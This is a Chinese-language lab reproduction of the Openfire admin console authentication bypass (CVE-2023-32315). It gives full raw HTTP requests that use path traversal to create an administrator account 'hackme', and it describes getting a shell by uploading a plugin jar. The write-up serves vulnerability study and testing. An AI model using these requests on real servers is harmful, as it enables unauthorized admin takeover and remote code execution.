Openfire 管理后台认证绕过漏洞(CVE-2023-32315)
概述
Openfire 是一款基于 Apache 开源许可证的实时协作 (RTC) 服务器。它使用目前唯一被广泛采用的即时通讯开放协议 XMPP(也称为 Jabber)。
在 3.10.0 到 4.7.4 版本中,Openfire 的管理控制台(一款基于 Web 的应用程序)被发现存在通过设置环境进行路径遍历攻击的漏洞。该漏洞允许未授权的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,访问 Openfire 管理控制台中仅供管理用户访问的受限页面。
漏洞复现
开启靶场以后,访问 http://192.168.43.50:9090/
首先利用路径穿越漏洞,访问 /setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp
可以看到一些受限的内容。
访问:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: 192.168.43.50:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
即可创建一个用账号密码均为 hackme
的管理员用户。
随后即可利用该账密登录管理员后台。
若以上方式无法创建用户。
发送请求包:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: 192.168.43.50:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
在响应中获取 JSESSIONID 和 csrf 的值。
随后构造请求体,修改请求体中 JSESSIONID 和 csrf 的值为上述中响应体中的值:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=oNsqcTMdolpoO4E&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.43.50:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node076vvmvnsjur81slo5sz3g7e1c6.node0; csrf=oNsqcTMdolpoO4E
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
随后即可使用创建的账密登录,此处的账密为 hackme1
上传 GetShell,在登录以后,可以发现存在一个 Plugins 模块,此处可以上传插件。
尝试上传一个插件 openfire-fastpath-plugin 或 CVE-2023-32315-Openfire-Bypass 从而获取 Shell。
# openfire-fastpath-plugin 需生成
mvn clean package
# 26m 7.408s
使用上述命令打包 jar 文件,随后上传该 jar 包。
或直接下载 CVE-2023-32315-Openfire-Bypass 的插件,并上传 jar 包。
随后访问相关页面,即可实现 GetShell。